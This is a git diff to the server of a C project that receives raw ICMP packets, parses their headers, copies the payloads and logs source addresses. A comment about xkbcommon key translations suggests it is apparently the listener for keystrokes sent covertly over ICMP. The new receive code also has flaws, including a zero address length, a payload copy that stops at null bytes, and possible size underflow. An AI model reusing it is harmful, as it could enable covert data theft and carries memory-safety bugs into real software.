diff --git a/server/Makefile b/server/Makefile
@@ -11,6 +11,7 @@ LINK_FLAG = -lxkbcommon
CFLAGS = -Wno-unused-command-line-argument -Wno-cast-qual -fPIC
+CFLAGS += -Wno-tautological-value-range-compare
ifeq ($(MAKECMDGOALS), debug)
CFLAGS += -g3 -DDEBUG -Wno-format-security
diff --git a/server/includes/server.h b/server/includes/server.h
@@ -31,7 +31,7 @@
#include <unistd.h>
#define QUEUE_BUFFER_SIZE 1024
-#define STRING_BUFFER_SIZE 256
+#define STRING_BUFFER_SIZE 4096
#define MAX_NB_CLIENT 128
/* meant for key translations from xkbcommon and the event we receive. :^) */
@@ -64,15 +64,15 @@ struct client_state {
clients;
};
-#define IP_LENGTH (40)
-#define ICMP_DATA_LENGTH (128) /* should not exceed 9000 AFAIK (also should not exceed STRING_BUFFER_SIZE) */
+#define IP_LENGTH (16)
+#define ICMP_DATA_LENGTH (2048) /* should not exceed 9000 AFAIK (also should not exceed STRING_BUFFER_SIZE) */
typedef struct icmp_packet {
char addr[IP_LENGTH];
int type;
char payload[ICMP_DATA_LENGTH];
- ssize_t payload_size;
+ size_t payload_size;
} icmp_msg_t;
@@ -108,7 +108,7 @@ typedef struct server_state {
// net.c
int init_remote_connection(server_t *instance);
-int net_poll_icmp_recv(server_t *instance, icmp_msg_t *msg);
+int net_icmp_recv(const server_t *instance, icmp_msg_t *msg);
// lexxer.c
int parse_cli_arguments(server_t *instance, const int ac, char **av, char **envp);
diff --git a/server/sources/loop.c b/server/sources/loop.c
@@ -15,25 +15,34 @@
#include "server.h"
+static void
+sig_handler(int code) {
+ if (code == SIGINT)
+ should_gracefully_exit(code);
+}
+
+
void loop(server_t *instance) {
int dbfd = init_csv_dbfd(instance->options.db_filepath);
if (dbfd < 0 && instance->options.db_filepath[0] != 0)
return;
+ signal(SIGINT, sig_handler);
TAILQ_INIT(&instance->clients);
while (should_gracefully_exit(0)) {
icmp_msg_t msg = {0};
/* poll for new packet */
- if (net_poll_icmp_recv(instance, &msg) < 0) {
+ if (net_icmp_recv(instance, &msg) < 0) {
goto CLEANUP_ROUTINE;
}
- /* have we received a new message */
+ /* have we received a new message ?
+ * (we should always have one but lets check if something fucked up) */
if (msg.addr[0] == 0) {
- usleep(7500);
+ usleep(2500);
continue;
}
@@ -64,8 +73,14 @@ CLEANUP_ROUTINE:
close(dbfd);
}
-static void
-sig_handler(int code) {
- if (code == SIGINT)
- should_gracefully_exit(code);
+int should_gracefully_exit(int code) {
+ static int should_exit = 0;
+
+ if (code != 0 || should_exit) {
+#ifdef DEBUG
+ DEBUG_LOG("[+] caught code: %d\n", code)
+#endif
+ should_exit = 1;
+ }
+ return should_exit;
}
diff --git a/server/sources/net.c b/server/sources/net.c
@@ -9,6 +9,7 @@
#include <netinet/ip_icmp.h>
#include <sys/socket.h>
+#include <string.h>
#include "server.h"
int init_remote_connection(server_t *instance) {
@@ -84,10 +85,53 @@ int init_remote_connection(server_t *instance) {
return sockfd;
}
-int net_poll_icmp_recv(server_t *instance, icmp_msg_t *msg) {
+/* NOTE(djnn): this function's failure triggers exit routine,
+ * so ERROR is only returned on critical error */
+int net_icmp_recv(const server_t *instance, icmp_msg_t *msg) {
+ socklen_t src_addr_size = 0;
struct sockaddr_in src_addr = {0};
+ struct iphdr *ip_addr = NULL;
+ struct icmphdr *icmp_header = NULL;
+
+ /* check if we can hold the full message */
+ _Static_assert(MTU + sizeof(struct iphdr) + sizeof(struct icmphdr) < ICMP_DATA_LENGTH, "ICMP_DATA_LENGTH is not big enough");
+
+ const int encapsulated_mtu = MTU + sizeof(struct iphdr) + sizeof(struct icmphdr);
+ char full_packet[ICMP_DATA_LENGTH] = {0}; /* all values are static ; this is fine */
+
+ /* blocking recvfrom() to retrieve ICMP packet :) */
+ ssize_t pktsz = recvfrom(
+ instance->sockfd,
+ full_packet,
+ encapsulated_mtu,
+ 0,
+ (struct sockaddr *)&(src_addr),
+ &src_addr_size
+ );
+ if (pktsz < 0)
+ return ERROR;
+
+ /* parse headers */
+ ip_addr = (struct iphdr *)full_packet;
+ icmp_header = (struct icmphdr *)(full_packet + sizeof(struct iphdr));
+ msg->payload_size = (size_t)pktsz - sizeof(struct iphdr) - sizeof(struct icmphdr);
+
+ if (memccpy(
+ msg->payload,
+ (full_packet + sizeof(struct iphdr) + sizeof(struct icmphdr)),
+ 0,
+ msg->payload_size
+ ) == NULL) {
+ /* non-critical error. maybe perror() this ? */
+ bzero(msg->addr, IP_LENGTH);
+
+ return SUCCESSFUL;
+ }
+ /* set message type & source ip-addr */
+ msg->type = icmp_header->type;
+ inet_ntop(AF_INET, &(ip_addr->saddr), msg->addr, INET_ADDRSTRLEN);
return SUCCESSFUL;
}
| | | |